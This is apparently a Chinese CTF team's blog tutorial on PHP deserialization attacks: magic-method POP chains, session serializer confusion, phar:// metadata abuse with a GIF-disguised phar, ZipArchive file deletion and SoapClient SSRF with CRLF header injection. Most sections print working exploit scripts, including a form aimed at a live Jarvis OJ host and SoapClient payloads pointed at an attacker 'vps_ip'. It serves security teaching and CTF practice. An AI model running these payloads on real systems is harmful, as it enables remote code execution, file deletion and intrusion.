前言
最近的博客可能都是各类知识点的总结博客,毕竟队内的wiki还在搭建过程中,今天就来系统讲一下php的反序列化吧,如果有错误,希望各位大师傅们指出Orz
序列化与反序列化
简单的说来,就是PHP在保存和传递对象的时候,会将一个原本很大块的代码根据一定的规则转换为字符串,这个过程就是序列化,那么反序列化就是将序列化后的字符串重新转化为对象的过程了,好了,下面先来几个例子来具体介绍
简单例子
先放一个简单的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
class Example { public $a1 = "abc" ; private $a2 = "abc" ; protected $a3 = "abc" ; public $b = ["1" ,"2" ,"3" ]; public function display () { echo $this ->a1; echo "\n" ; echo $this ->b; } } $example = new Example(); file_put_contents('res.txt' ,serialize($example)); var_dump(serialize($example)) ;
这个时候我们就可以看到序列化后的值是
1
string(138 ) "O:7:" Example":4:{s:2:" a1";s:3:" abc";s:11:" Examplea2";s:3:" abc";s:5:" *a3";s:3:" abc";s:1:" b";a:3:{i:0;s:1:" 1 ";i:1;s:1:" 2 ";i:2;s:1:" 3 ";}}"
可以看到a1、a2、a3的值都一样,但是这三个值的键名都不一样,具体看一下他的二进制数 可以看到,它是会将每一个变量的类型和值都保存起来,还会将长度打印出来,但是需要注意一点
1 2 3
公有属性:属性名 私有属性:%00 类名%00 属性名 保护属性:%00 *%00 属性名
然后还原也能成功还原
1 2
$s = "O:7:" Example":4:{s:2:" a1";s:3:" abc";s:11:" Examplea2";s:3:" abc";s:5:" *a3";s:3:" abc";s:1:" b";a:3:{i:0;s:1:" 1 ";i:1;s:1:" 2 ";i:2;s:1:" 3 ";}}" ; var_dump(unserialize($s));
以上就是一个简单的序列化和反序列化的过程了,那么接下来就是漏洞利用了
漏洞利用
魔幻函数
在php里面,有许多很神奇的函数,通过一定的条件可以自动调用,我们将它称为魔幻函数,先列一下
1 2 3 4 5 6 7 8 9 10 11 12
__construct() __destruct() __call() __callStatic() __get() __set() __isset() __unset() __invoke() __sleep() __wakeup() __toString()
例题
这道题是今年国赛的热身题,先来看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
<?php class Handle { private $handle; public function __wakeup () { foreach (get_object_vars($this ) as $k => $v) { $this ->$k = null ; } echo "Waking up\n" ; } public function __construct ($handle) { $this ->handle = $handle; } public function __destruct () { $this ->handle->getFlag(); } } class Flag { public $file; public $token; public $token_flag; function __construct ($file) { $this ->file = $file; $this ->token_flag = $this ->token = md5(rand(1 ,10000 )); } public function getFlag () { $this ->token_flag = md5(rand(1 ,10000 )); if ($this ->token === $this ->token_flag) { if (isset ($this ->file)){ echo @highlight_file($this ->file,true ); } } } }
可以看到这道题我们想要拿到flag先要触发__destruct
函数,但是__wakeup
函数会将一切参数置空,修改一下属性个数就能绕过,至于token_flag
和token
的匹配就要用指针去匹配,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
<?php class Handle { private $handle; public function __wakeup () { foreach (get_object_vars($this ) as $k => $v) { $this ->$k = null ; } echo "Waking up\n" ; } public function __construct ($handle) { $this ->handle = $handle; } public function __destruct () { $this ->handle->getFlag(); } } class Flag { public $file; public $token; public $token_flag; function __construct ($file) { $this ->file = $file; $this ->token = &$this ->token_flag; } public function getFlag () { $this ->token_flag = md5(rand(1 ,10000 )); if ($this ->token === $this ->token_flag){ if (isset ($this ->file)){ echo @highlight_file($this ->file,true ); } } } } $h = new Handle(new Flag('flag.php' )); echo urlencode(serialize($h));
session序列化漏洞
简单介绍
1 2 3 4 5
<?php session_start(); $_SESSION['login' ] = true ; $_SESSION['id' ] = 1 ; $_SESSION['username' ] = 'Ariel' ;
session的数据会存储在/var/lib/php/sessions/
目录下,读一下这个目录的内容 可以看到,这个序列化后的值跟我们最上面的值很相似,但是又有点不同,因为在session的序列化中有三种不同的引擎,他们序列化后的结果都是不一样的 php_binary:ascii字符+键名+serialize()函数处理后的值 php:键名+竖线+serialize()函数处理后的值 php_serialize:serialize()函数处理后的值 如果没有指定引擎的时候,默认使用的是php引擎,但是如果我们指定了引擎的话,就会根据我们指定的去进行序列化 下面让我们看一下不同的引擎出来的不同的值
1 2 3 4 5 6
<?php ini_set('session.serialize_handler' ,'php_binary' ); session_start(); $_SESSION['login' ] = true ; $_SESSION['id' ] = 1 ; $_SESSION['username' ] = 'Ariel' ;
可以看到这里有个正方形,login
的长度是5,ascii字符是ENQ,不可见,所以显示不出来,剩下的部分还是按照之前的规则去存储的 接下来是php_serialize
1 2 3 4 5 6
<?php ini_set('session.serialize_handler' ,'php_serialize' ); session_start(); $_SESSION['login' ] = true ; $_SESSION['id' ] = 1 ; $_SESSION['username' ] = 'Ariel' ;
可以看到存储的值也发生了变化,那么问题来了,如果我们存储和解密session的时候用的引擎不一样,会不会引发问题呢?
例题
下面放一题Jarvis OJ的题目
1
http://web.jarvisoj.com:32784/
进去先看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
<?php ini_set('session.serialize_handler' , 'php' ); session_start(); class OowoO { public $mdzz; function __construct () { $this ->mdzz = 'phpinfo();' ; } function __destruct () { eval ($this ->mdzz); } } if (isset ($_GET['phpinfo' ])){ $m = new OowoO(); } else { highlight_string(file_get_contents('index.php' )); }
可以看到这里有个后门eval
,但是我们想要执行却发现类在构造的时候就已经对mdzz
赋值了,有什么办法能控制它的值呢?我们先看一下他的phpinfo有没有什么信息好吧 可以看到他开启了session.upload_progress.enabled
,因此我们可以控制文件内容,所以现在我们要做的就是写exp了 首先是对exal
函数的利用,因为引擎不同,我们只需要在反序列化后的值前面加个|
就可以让他成功触发漏洞了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
<?php ini_set('session.serialize_handler' , 'php' ); session_start(); class OowoO { public $mdzz; function __construct () { $this ->mdzz = 'print_r(dirname(__FILE__));' ; } function __destruct () { eval ($this ->mdzz); } } $o = new OowoO(); echo serialize($o);
这个时候我们要做的就是控制session的值了,根据官方的文档可以写出如下脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<!DOCTYPE html> <html lang ="en" > <head > <meta charset ="UTF-8" > <title > session反序列化</title > </head > <body > <form action ="http://web.jarvisoj.com:32784/index.php" method ="post" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="123" /> <input type ="file" name ="changehere" /> <input type ="submit" value ="go" /> </form > </body > </html >
接下来要做的就是抓包修改值,触发反序列化,具体看图吧
phar反序列化
简单介绍
首先介绍一下phar://
,phar://
和php://filter
、data://
协议那些一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub,而stub就是一个标志,他的格式是xxx<?php xxxxx;__HALT_COMPILER();?>
,结尾是__HALT_COMPILER()'?>
,不然phar
识别不了phar
文件
简单栗子
我们首先先看一下phar怎么用
1 2 3 4 5 6 7 8 9 10 11
<?php class TestObject {} $phar = new Phar("phar.phar" ); $phar -> startBuffering(); $phar -> setStub("<?php __HALT_COMPILER();?>" ); $o = new TestObject(); $o -> data = 'h4ck3r' ; $phar -> setMetadata($o); $phar -> addFromString("test.txt" ,"test" ); $phar -> stopBuffering();
执行一下我们看到他会产生一个phar.phar
文件,丢去二进制编辑器看一下 我们确实看到了有反序列化后的值,对应的,就有反序列化的操作,而php大部分文件系统函数在通过phar://
协议解析的时候,都会将meta-data进行反序列化,影响函数如下 接下来我们进行反序列化
1 2 3 4 5 6 7
<?php class TestObject { function __destruct () { echo $this ->data; } } include ('phar://phar.phar' );
可以看到确实是有数据输出,因此可以看到这样是可以触发反序列化漏洞了,接下来就是利用了
例题
这里我们先给一个很简陋很简陋的前端的上传框好吧
1 2 3 4 5 6 7 8 9 10 11 12 13
<!DOCTYPE html> <html lang ="en" > <head > <meta charset ="UTF-8" > <title > ea3y_upload_file</title > </head > <body > <form action ="http://localhost/ctf/serialize/train/phar_title1.php" method ="post" enctype ="multipart/form-data" > <input type ="file" name ="file" /> <input type ="submit" name ="upload" /> </form > </body > </html >
后台的限制是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
<?php if (($_FILES["file" ]["type" ]=="image/gif" )&&(substr($_FILES["file" ]["name" ], strrpos($_FILES["file" ]["name" ], '.' )+1 ))== 'gif' ) { echo "Upload: " . $_FILES["file" ]["name" ]."<br>" ; echo "Type: " . $_FILES["file" ]["type" ]."<br>" ; echo "Temp file: " . $_FILES["file" ]["tmp_name" ]."<br>" ; if (file_exists("upload_file/" . $_FILES["file" ]["name" ])) { echo $_FILES["file" ]["name" ] . " already exists. " ; } else { move_uploaded_file($_FILES["file" ]["tmp_name" ], "upload_file/" .$_FILES["file" ]["name" ]); echo "Stored in: " . "upload_file/" . $_FILES["file" ]["name" ]; } } else { echo "Invalid file,you can only upload gif" ; }
可以看到后台只允许上传gif文件,再接着看一下后台处理文件的源码
1 2 3 4 5 6 7 8 9
<?php $filename=$_GET['filename' ]; class AnyClass { function __destruct () { eval ($this ->data); } } include ($filename);
可以看到后台拿到文件名会include进去文件名,而且还有一个类的__destruct
方法里面有个eval
函数,所以现在问题来了,我们要怎么利用呢?但是我们可以利用phar协议去完成利用,先写下exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php class AnyClass { function __destruct () { eval ($this -> data); } } $phar = new Phar('phar2.phar' ); $phar -> stopBuffering(); $phar -> setStub('GIF89a' .'<?php __HALT_COMPILER();?>' ); $phar -> addFromString('test.txt' ,'test' ); $object = new AnyClass(); $object -> data = 'phpinfo();' ; $phar -> setMetadata($object); $phar -> stopBuffering();
然后就是先更改phar2.phar
,将他的后缀名改成gif
去上传上去,成功上传以后可以进行利用了 可以看到成功利用了,这就是一个简单的例子,深入的就在以后的比赛题中慢慢体会吧
原生类序列化问题
接下来的一个问题就是涉及到原生类的序列化问题了,首先我们先了解什么是原生类
原生类同名函数
首先先认识原生类同名函数的攻击漏洞,先假设我们有一个上传类如下
1 2 3 4 5 6 7 8 9
<?php class Upload { function upload ($filename, $content) { } function open ($filename, $content) { } }
这个上传类被.htaccess文件控制的很死,难以上传我们的小马,即使成功上传了,也不能执行,只有删除了.htaccess文件才可以,那么我们要怎么利用呢 所以我们现在就是要先找到一个函数,能删除或者覆盖掉.htaccess文件,先搜索一波
1 2 3 4 5 6 7 8
<?php foreach (get_declared_classes() as $class){ foreach (get_class_methods($class) as $method){ if ($method == "open" ){ echo "$class -> $method" ."<br>" ; } } }
这里搜索到三个函数
1 2 3
SessionHandler -> open ZipArchive -> open XMLReader -> open
接下来就是查阅官方手册看一下哪个能利用
搜索可利用函数
先看SessionHandler::open
查看参数可知,他的传参只有两个,save_path
和session_name
,都是关于session方面的操作的,难以利用 接着找ZipArchive::open
可以看到flag
参数有个ZipArchive::OVERWRITE
模式,继续找它的官方介绍能看到
1 2
ZIPARCHIVE::OVERWRITE (integer) 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖。
我们先测试一下 可以看到确实成功的删除了文件,因此我们就可以达到了删除固定文件的目的,也就摆脱了.htaccess文件的限制了 最后再看一下XMLReader::open
里面的几个option
都没有删除文件的功能,利用价值不高
例题
这部分晚点再补充
原生类魔幻函数
上面的函数固然可以成功利用,但是要找到这样的函数并非一件简单的事情,因此我们可以考虑一下,有没有什么类里面会包含了魔幻函数呢,这样子我们利用的难度也会大大降低
找可利用的类
改一下原来的搜索脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
<?php $classes = get_declared_classes(); foreach ($classes as $class){ $methods = get_class_methods($class); foreach ($methods as $method){ if (in_array($method, array ( '__construct' , '__destruct' , '__toString' , '__wakeup' , '__call' , '__callStatic' , '__get' , '__set' , '__isset' , '__unset' , '__invoke' , '__set_state' ))){ echo $class."::" .$method."<br>" ; } } }
可以看到确实能找出一堆的函数
例题
上面列了这么多函数,但是具体如何利用呢,下面放一道题目,就是2018LCTF的一道题目,index.php
的源码为
1 2 3 4 5 6 7 8 9 10 11
<?php highlight_file(__FILE__ ); $b = 'implode' ; call_user_func($_GET['f' ],$_POST); session_start(); if (isset ($_GET['name' ])){ $_SESSION['name' ] = $_GET['name' ]; } var_dump($_SESSION); $a = array (reset($_SESSION),'welcome_to_the_lctf2018' ); call_user_func($b,$a);
flag.php
的源码为
1 2 3 4 5 6 7
<?php session_start(); echo 'only localhost can get flag!' ;$flag = 'LCTF{******************}' ; if ($_SERVER["REMOTE_ADDR" ]==="127.0.0.1" ){$_SESSION['flag' ] = $flag; }
这题可以看到index.php
里面有个call_user_func
函数,理想状态下我们是想通过变量覆盖,将$b
覆盖成unserialize
,然后利用下一个call_user_func
函数再去调用进行利用,可是$a
是数组,难以进行利用,根据题目给出的flag.php
文件可以猜测到时利用反序列化去触发ssrf,所以现在我们就是要去寻找一个可以利用的类 这题的利用点有两个,一个是session
类,另一个就是SOAP
类了,根据我们上面讲的可以知道,我们现在要做的就是利用session引擎的漏洞和原生类的魔幻函数去进行反序列化漏洞利用了 我们先试一下最简单的用法去进行反弹shell
1 2 3 4 5 6
<?php $a = new SoapClient(null ,array ('location' =>'http://vps_ip:2333' ,'uri' =>'123' )); $b = serialize($a); echo $b;$c = unserialize($b); $c -> a();
成功回弹,那么接下来就是要试一下能不能进行crlf
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<?php $target = "http://vps_ip:2333" ; $post_string = 'data=abc' ; $headers = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: PHPSESSID=3stu05dr969ogmpr1954456893' ); $b = new SoapClient(null ,array ('location' => $target,'user_agent' => 'glarcy^^Content-Type: application/x-www-form-urlencoded^^' .join('^^' ,$headers).'^^Content-Length: ' . (string)strlen($post_string).'^^^^' .$post_string,'uri' =>'hello' )); $aaa = serialize($b); $aaa = str_replace('^^' ,"\n\r" ,$aaa); echo urlencode($aaa);$d = unserialize($aaa); $d -> b();
尝试了利用以后,就回到题目做题了,这道题目我们先用call_user_func
去设置session
引擎,然后再利用默认的引擎去触发反序列化,exp如下
1 2 3 4 5
<?php $target = 'http://127.0.0.1/ctf/soap/flag.php' ; $attack = new SoapClient(null ,array ('location' =>$target,'user_agent' =>"glary\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n" ,'uri' =>'123' )); $payload = urlencode(serialize($attack)); echo $payload;
生成payload打过去,但是要记得在payload前加一个|
,因为我们是要先利用session的反序列化漏洞将payload存进session 然后就是去修改利用extract进行覆盖来反序列化利用了,注意session的值要记得改 菜鸡水平有限,php的反序列化部分暂时先讲到这里,有错误希望各位大师傅指出Orz
评论